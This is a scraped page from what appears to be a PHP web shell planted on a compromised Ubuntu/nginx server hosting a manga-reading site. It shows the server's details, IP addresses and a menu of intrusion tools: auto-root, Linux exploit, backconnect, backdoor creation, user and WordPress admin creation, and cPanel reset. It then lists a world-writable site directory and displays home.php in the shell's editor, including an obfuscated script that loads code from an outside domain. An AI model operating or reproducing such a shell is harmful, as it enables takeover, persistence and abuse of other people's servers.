Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.50
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangaberri /
public_html /
mangabo /
[ HOME SHELL ]
Name
Size
Permission
Action
js
[ DIR ]
drwxrwxrwx
uploads
[ DIR ]
drwxrwxrwx
.mangabo.php
3.61
KB
-rw-r--r--
02.jpg
35.82
KB
-rwxrwxrwx
03.jpg
378.77
KB
-rwxrwxrwx
04-05.jpg
696.59
KB
-rwxrwxrwx
06-07.jpg
685.45
KB
-rwxrwxrwx
08.jpg
421.87
KB
-rwxrwxrwx
09.jpg
410.44
KB
-rwxrwxrwx
10.jpg
330.76
KB
-rwxrwxrwx
AgentForm.html
11.52
KB
-rwxrwxrwx
AgentPanel.html
17.48
KB
-rwxrwxrwx
AgentReport.html
24.23
KB
-rwxrwxrwx
actions.php
8.96
KB
-rwxrwxrwx
add_article.php
18.23
KB
-rwxrwxrwx
add_chapter_section.php
16.65
KB
-rwxrwxrwx
add_new_manga.php
20.77
KB
-rwxrwxrwx
articles.php
18.06
KB
-rwxrwxrwx
bootstrap.min.css
141.49
KB
-rwxrwxrwx
bootstrap.min.js
47.8
KB
-rwxrwxrwx
change-password.php
8.51
KB
-rwxrwxrwx
comment.php
21.18
KB
-rwxrwxrwx
dashboard.php
21.05
KB
-rwxrwxrwx
datasource.php
1.49
KB
-rwxrwxrwx
dbhelper.php
35.6
KB
-rwxrwxrwx
edit_article.php
19.52
KB
-rwxrwxrwx
edit_chapter_section.php
35.2
KB
-rwxrwxrwx
edit_chapter_section_org.php
16.57
KB
-rwxrwxrwx
edit_chapter_section_org1.php
35.18
KB
-rwxrwxrwx
edit_manga.php
23.45
KB
-rwxrwxrwx
error.php
0
B
-rwxrwxrwx
favicon.ico
67.58
KB
-rwxrwxrwx
footer.php
1.21
KB
-rwxrwxrwx
generate_sitemap.php
13.18
KB
-rwxrwxrwx
genre.php
23.01
KB
-rwxrwxrwx
header.php
8.31
KB
-rwxrwxrwx
home.php
45.57
KB
-rwxrwxrwx
index.php
258
B
-rwxrwxrwx
insert-image.png
12.36
KB
-rwxrwxrwx
jquery-slim.min.js
67.97
KB
-rwxrwxrwx
loading-dark.gif
17.85
KB
-rwxrwxrwx
log.txt
415
B
-rwxrwxrwx
login.php
0
B
-rwxrwxrwx
logo_dark.7c81824.png
70.25
KB
-rwxrwxrwx
logo_light.d9991b5.png
70.25
KB
-rwxrwxrwx
logo_white.f5e6e19.png
70.25
KB
-rwxrwxrwx
logout.php
185
B
-rwxrwxrwx
main.js
56
B
-rwxrwxrwx
manga_requests.php
11.38
KB
-rwxrwxrwx
page_section.php
15.59
KB
-rwxrwxrwx
phpinfo.php
18
B
-rwxrwxrwx
popper.min.js
18.74
KB
-rwxrwxrwx
q.php
4
B
-rw-r--r--
rome.css
1.76
KB
-rwxrwxrwx
rome.js
433.52
KB
-rwxrwxrwx
script.php
1.41
KB
-rwxrwxrwx
signin.php
6.97
KB
-rwxrwxrwx
signup.php
7.23
KB
-rwxrwxrwx
sitemap.xml
753.77
KB
-rwxrwxrwx
sitemap1.xml
13.43
KB
-rwxrwxrwx
starter-template.css
109
B
-rwxrwxrwx
statistics.php
18.06
KB
-rwxrwxrwx
style_css.php
97.59
KB
-rwxrwxrwx
styles.css
660.94
KB
-rwxrwxrwx
thumbnail(19).webp
40.43
KB
-rwxrwxrwx
transfer_image.php
1.91
KB
-rwxrwxrwx
upload.php
1.26
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : home.php
<!DOCTYPE html> <html lang="en" data-fp="5h93d476r16"> <?php require_once("../dbhelper.php"); $dbhelper = new DBHelper(); $mangas = $dbhelper->getAllMangas(); $latestUpdate = $dbhelper->getLatestUpdateChapter(); $mostViews = $dbhelper->getAllTimeMangaViewRanking(); $encryptionKey = $dbhelper->getEncryptionKey(); ?> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>MangaBerri | Read Manga Online Free One Piece New</title> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1"> <meta data-n-head="ssr" name="format-detection" content="telephone=no"> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta data-n-head="ssr" data-hid="robots" name="robots" content="index, follow, all"> <meta data-n-head="ssr" data-hid="googlebot" name="googlebot" content="index, follow, all"> <link rel="manifest" href="manifest.json" /> <link data-n-head="ssr" rel="icon" variant="image/x-icon" href="/favicon.ico"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.min.css"> <link rel="apple-touch-icon" href="/favicon.ico"> <link data-n-head="ssr" rel="canonical" href="https://mangaberri.com/home.php"> <meta data-n-head="ssr" data-hid="title" name="title" content="MangaBerri | Read Manga Online Free One Piece New"> <meta data-n-head="ssr" data-hid="og:title" property="og:title" name="og:title" content="MangaBerri | Read Manga Online Free One Piece New"> <meta data-n-head="ssr" data-hid="description" name="description" content="Read manga and One Piece online free at mangaberri.com, update fastest, most full, synthesized 24h free with high-quality images and be the first one to publish new chapters."> <meta data-n-head="ssr" data-hid="og:description" property="og:description" name="og:description" content="Read manga and One Piece online free at mangaberri.com, update fastest, most full, synthesized 24h free with high-quality images and be the first one to publish new chapters."> <meta data-n-head="ssr" data-hid="og:site_name" property="og:site_name" content="mangaberri.com"> <meta data-n-head="ssr" data-hid="og:url" name="og:url" content="https://mangaberri.com/"> <meta data-n-head="ssr" data-hid="i18n-og" property="og:locale" content="en"> <meta data-n-head="ssr" data-hid="og:image" property="og:image" content="https://mangaberri.com/manga_og.jpg" /> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "WebSite", "name": "MangaBerri Online", "url": "https://mangaberri.com", "potentialAction": { "@type": "SearchAction", "target": "https://mangaberri.com/search.php?keyword={search_term_string}", "query-input": "required name=search_term_string" } } </script> <meta name="google-site-verification" content="YULd1GhfMynwxPugmLTElcmJVJ7q6sAzsVGQdIk7qm4" /> <meta name="msvalidate.01" content="69A7027F1B17DC7F5BB3CB0B140CE98D" /> <?php include('head.php'); ?> </head> <?php include('style_css.php'); ?> <body class="dark-mode"> <style> .owl-theme img { width: 100%; min-height: 200px; } .owl-carousel .owl-prev, .owl-carousel .owl-next { position: absolute; top: 40%; transform: translateY(-50%); background-color: rgb(212, 212, 212) !important; color: #000 !important; font-size: 1.5em !important; width: 40px; height: 40px; border-radius: 100% !important; font-weight: bold; padding: 15px !important; text-align: center; } .owl-carousel .owl-prev:hover, .owl-carousel .owl-next:hover { background-color: #990f4b !important; color: #000 !important; } .owl-carousel .owl-prev { left: -30px; } .owl-carousel .owl-next { right: -30px; } .owl-theme .owl-dots .owl-dot.active span { background: #a10061 !important; width: 25px; transition: 0.2s ease-in-out; } .owl-theme .owl-dots .owl-dot:hover span { background: #a10061 !important; transition: 0.2s ease-in-out; } /* Responsive design custom css */ .desktop-view{ display:block; } .mobile-view{ display:none; } @media only screen and (max-width:480px) { .owl-theme .owl-dots .owl-dot { display: none; } .owl-carousel .owl-prev, .owl-carousel .owl-next { width: 30px; height: 30px; font-size: 14px !important; top: 45%; box-shadow: 0px 0px 0px 0px #000; } .owl-carousel .owl-prev { left: 0px; } .owl-carousel .owl-next { right: 0px; } .desktop-view{ display:none; } .mobile-view{ display:block; } } </style> <div id="__nuxt"> <!----> <div id="__layout"> <div class="default-container" data-v-5fa6951a=""> <?php include('header.php'); ?> <div id="main-container" class="content-container" data-v-5fa6951a=""> <div data-v-e49fcc30="" data-v-5fa6951a=""> <!--<h2 data-v-189babae="" class="container" style=" font-weight: 700; font-size: 1.1rem; width: 100%; height: auto; max-width: 340px; margin: 30px auto; text-align: center; padding: 10px; border: 3px dotted #f00; ">Happy New Year to all our beloved readers. Thank you for supporting us all this while. ❤️</h2>--> <div data-v-ca6cf050="" data-v-e49fcc30="" class="container container row-responsive my-3"> <div data-v-e49fcc30="" data-v-ca6cf050="" class="flex-fill column"> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <script> (function (vxez) { var d = document, s = d.createElement('script'), l = d.scripts[d.scripts.length - 1]; s.settings = vxez || {}; s.src = "\/\/deafeningphone.com\/bpXqV.sBdsG\/lC0GYKWQd\/iYYQWg5WuBZBXEIs\/ZeUmf9luZZMU-lykkPfTGUU3KNFTFA\/yoMgjogotXN\/TEcG1\/MjDzILyNO\/QT"; s.async = true; s.referrerPolicy = 'no-referrer-when-downgrade'; l.parentNode.insertBefore(s, l); })({}) </script> </div> <!--<div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desktop-view"> <a href="https://linktr.ee/funpaxnr"><img src="ads/funpax/1000x170.jpg?v=1" alt="Funpax" title="Funpax" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 mobile-view"> <a href="https://linktr.ee/funpaxnr"><img src="ads/funpax/350x300.jpg?v=1" alt="Funpax" title="Funpax" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div>--> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="display: flex; flex-direction: column; align-items: center;"> <style> .options { padding: 8px; margin: 0px; border: 0px; width: 120px; background-color: #444; margin: 0px 10px; font-size: 0.9em; color: #fff; border-radius: 15px; } #option1 { background-color: #2b7958; } #option2 { background-color: #831f70; } #Cont { position: relative; display: flex; width: 300px; height: 30px; margin: 0px 10px; background-color: #fff; display: flex; align-items: center; justify-content: center; border-radius: 15px; overflow: hidden; } .bar { justify-content: center; position: relative; display: flex; height: 100%; display: flex; transition: 200ms all; align-items: center; font-size: 0.7rem; } #bar1 { background-color: #2b7958; width: 150px; } #bar2 { background-color: #831f70; width: 150px; } #header { width: 100%; display: flex; align-items: center; justify-content: center; color: #fff; height: 20px; font-size: 1.3em; margin-top: 30px; } #totalCount { margin-left: 20px; } .perc { display: flex; justify-content: center; align-items: center; color: #fff; background-color: #5b007b; border-radius: 50%; height: 38px; width: 100%; max-width: 40px; font-size: 0.7em; } .barCounter { display: flex; justify-content: center; align-items: center; color: #fff; height: 5px; width: 140px; font-size: 1em; margin-bottom: 30px; } </style> <div class="row"> <div id="header"> Next Manga Voting Polls <p id="totalCount"> 0</p> </div> </div> <div class="row" style="align-items: center; width:100%; justify-content: center;"> <p class="perc" id="bar1perc">0%</p> <div id="Cont"> <div class="bar" id="bar1"> </div> <div class="bar" id="bar2"> </div> </div> <p class="perc" id="bar2perc">0%</p> </div> <div class="row"> <button class="options" id="option1"> Naruto </button> <button class="options" id="option2"> Attack of Titan </button> </div> <div class="row"> <p class="barCounter" id="bar1Count">0</p> <p class="barCounter" id="bar2Count">0</p> </div> <script> var bar1Counter = 0; var bar2Counter = 0; var totalCount = 0; $(document).ready(function () { getPollingResult() function addPolling(value) { var params = { action: 'add_polling_selection', selection: value }; $.ajax({ url: '../actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: 'Selection submited', showConfirmButton: true }).then(function() { //location.reload(); getPollingResult() }); } else { Swal.fire({ icon: 'error', title: 'Your selection already submmited', showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } function getPollingResult() { var params = { action: 'get_polling_result' }; $.ajax({ url: '../actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.result) { $.each(result.result, function(index, value) { if(value.selection === 1) { bar1Counter = value.total $("#bar1Count").text( bar1Counter ); } if(value.selection === 2) { bar2Counter = value.total $("#bar2Count").text( bar2Counter ); } totalCount += value.total; updatePollResult() }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } function updatePollResult() { $("#totalCount").text( totalCount ); var bar1Perc = ((bar1Counter / totalCount) * 100).toFixed(0); $("#bar1perc").text(bar1Perc + "%"); var bar2Perc = ((bar2Counter / totalCount) * 100).toFixed(0); $("#bar2perc ").text(bar2Perc + "%"); $("#bar1").width((300 * bar1Counter) / totalCount); $("#bar2").width((300 * bar2Counter) / totalCount); } $("#option1").click(function () { addPolling(1) }); $("#option2").click(function () { addPolling(2) }); }); </script> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <img src="mangaberri_banner.png?v=3" alt="Mangaberri Banner" title="Mangaberri Banner" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> Japanese entertainment, spanning anime, manga, video games, music, TV dramas, and light novels, has become a global phenomenon. In recent years, manga, in particular, has witnessed a substantial surge in popularity, captivating millions of readers globally who eagerly seek the latest chapters of their beloved series. The top-tier and widely acclaimed series not only rake in millions of dollars but also consistently dominate global best-selling charts, serving as a powerful source of inspiration for aspiring mangaka and ensuring a continuous momentum in the industry. <br><br> Find out which mangas Popular today.. </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="container relative"> <div class="section-container p-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 class="section-title" data-v-189babae=""> Popular Today </h2> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider1"> <?php foreach ($mangas as $m) { ?> <?php if (!empty($m['latest_chapter'])) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= '/simage.php?url=' . urlencode(base64_encode(openssl_encrypt($m['display_image'], 'AES-256-CBC', $encryptionKey, 0, $encryptionKey))) ?>" alt="<?= $m['title'] ?>" title="<?= $m['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['title'] ?> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) . '/' . $m['latest_chapter_id'] ?>" title=" <?= $m['latest_chapter'] ?>" class="link no-decoration my-1 text-light text-small one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['latest_chapter'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($m['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> </div> </div> <?php } ?> <?php } ?> </div> </section> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> Anime adaptations often fall short of narrating the complete story, occasionally incorporating numerous filler episodes featuring characters or events absent in the original manga. Fans turn to the manga to experience the narrative as the creator initially envisioned. Additionally, manga holds an advantage in accessibility since it is not confined by paywalls or streaming rights complexities. Although there is an ongoing debate about the greatest manga of all time, fans generally find consensus on many exceptional manga titles. <br><br> Check out all the <a href="new-manga.php">latest mangas update</a> now !! </div> <div data-v-189babae="" data-v-e49fcc30="" class="section-container p-3 my-2 mt-3" data-v-ca6cf050=""> <div data-v-189babae=""> <div data-v-189babae="" class="flex-fill justify-between"> <a href="new-manga.php" style="text-decoration: none!important; color: #990f4b!important;"> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #990f4b!important;"> Latest Update </h2> </a> <a data-v-fb154981="" href="new-manga.php" class="rounded relative md-btn items-center px-3 overflow-hidden accent text rounded-full !px-0" aria-label="View last updated titles" style="min-height: 2.5rem; min-width: 2.5rem; align-items:center; display:flex; text-decoration: none!important; color: #990f4b!important;"><span data-v-fb154981="" class="flex-fill relative items-center justify-center font-medium select-none w-full" style="pointer-events: none; justify-content: center;"><svg data-v-4c681a64="" data-v-fb154981="" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" class="feather feather-arrow-right icon" viewBox="0 0 24 24" style="color: currentcolor; text-decoration: none!important; color: #990f4b!important;"> <path d="M5 12h14m-7-7 7 7-7 7"></path> </svg> </span> </a> </div> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-e49fcc30="" data-v-189babae="" class="grid-horizontal-items"> <?php foreach ($latestUpdate as $lu) { ?> <div data-v-666e9941="" data-v-e49fcc30="" class="manga-horizontal-item row" data-v-189babae=""> <a data-v-74ec4422="" data-v-666e9941="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) ?>" class="link no-decoration" title="<?= $lu['title'] ?>"> <img data-v-a1ebd7c8="" data-v-666e9941="" src="<?= '/simage.php?url=' . urlencode(base64_encode(openssl_encrypt($lu['display_image'], 'AES-256-CBC', $encryptionKey, 0, $encryptionKey))) ?>" alt="Garbage Time" title="<?= $lu['title'] ?>" loading="lazy"> </a> <div data-v-666e9941="" class="column ml-3 flex-fill"> <a data-v-74ec4422="" data-v-666e9941="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) ?>" class="link no-decoration bold one-line" title="<?= $lu['title'] ?>"> <?= $lu['title'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($lu['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> <span data-v-666e9941="" class="my-1 one-line"> <span data-v-70d8a0c4="" data-v-666e9941="" class="text grey small" data-v-3e2b49c6="">Genres: </span> <?php $genres = explode(", ", $lu['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="/genre.php?genre=<?= $g ?>" class="link no-decoration comic-info-link" title="<?= $g ?>"> <?= $g ?> </a> <?php } ?> </span> <?php $mlc = $dbhelper->getLatestChapter($lu['id']); ?> <?php foreach ($mlc as $lc) { ?> <div data-v-00ecdcd6="" data-v-666e9941="" class="row align-center my-1"> <a data-v-74ec4422="" data-v-00ecdcd6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) . '/' . $lc['id'] ?>" class="link no-decoration episode mr-auto" title="<?= $lc['name'] ?>"> <span data-v-70d8a0c4="" data-v-00ecdcd6="" class="one-line text default tiny"> <?= $lc['name'] ?> </span> </a> <span data-v-70d8a0c4="" data-v-00ecdcd6="" class="episode-date text grey tiny"> <?php $upload_date = new DateTime($lc['created']); $now_date = new DateTime(); $diff = $upload_date->diff($now_date); ?> <?= $diff->years ? $diff->years . ' years' : '' ?> <?php if ($diff->years == 0) { ?> <?= $diff->months ? $diff->months . ' months' : '' ?> <?php if ($diff->months == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if ($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if ($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago </span> </div> <?php } ?> </div> </div> <?php } ?> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> These are Mangaberri's <a href="most-viewed.php">Most Viewed Mangas</a> by all the readers. Well, Top 3 usually are the hotest Mangas and rated 5 stars. </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="margin-top:20px;"> <a href="https://mangacherri.com/home.php"><img src="romance.jpg?v=3" alt="Mangacherri Banner" title="Mangacherri Banner" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="container relative"> <div class="section-container p-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <div data-v-189babae="" class="flex-fill justify-between"> <a href="most-viewed.php" style="text-decoration: none!important; color: #990f4b!important;"> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #990f4b!important;"> Most Viewed </h2> </a> <a data-v-fb154981="" href="most-viewed.php" class="rounded relative md-btn items-center px-3 overflow-hidden accent text rounded-full !px-0" aria-label="View last updated titles" style="min-height: 2.5rem; min-width: 2.5rem; align-items:center; display:flex;"><span data-v-fb154981="" class="flex-fill relative items-center justify-center font-medium select-none w-full" style="pointer-events: none; justify-content: center; text-decoration: none!important; color: #990f4b!important;"><svg data-v-4c681a64="" data-v-fb154981="" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" class="feather feather-arrow-right icon" viewBox="0 0 24 24" style="color: currentcolor; text-decoration: none!important; color: #990f4b!important;"> <path d="M5 12h14m-7-7 7 7-7 7"></path> </svg> </span> </a> </div> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider2"> <?php foreach ($mostViews as $m) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= '/simage.php?url=' . urlencode(base64_encode(openssl_encrypt($m['display_image'], 'AES-256-CBC', $encryptionKey, 0, $encryptionKey))) ?>" alt="<?= $m['title'] ?>" title="<?= $m['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['title'] ?> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) . '/' . $m['latest_chapter_id'] ?>" title=" <?= $m['latest_chapter'] ?>" class="link no-decoration my-1 text-light text-small one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['latest_chapter'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($m['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> 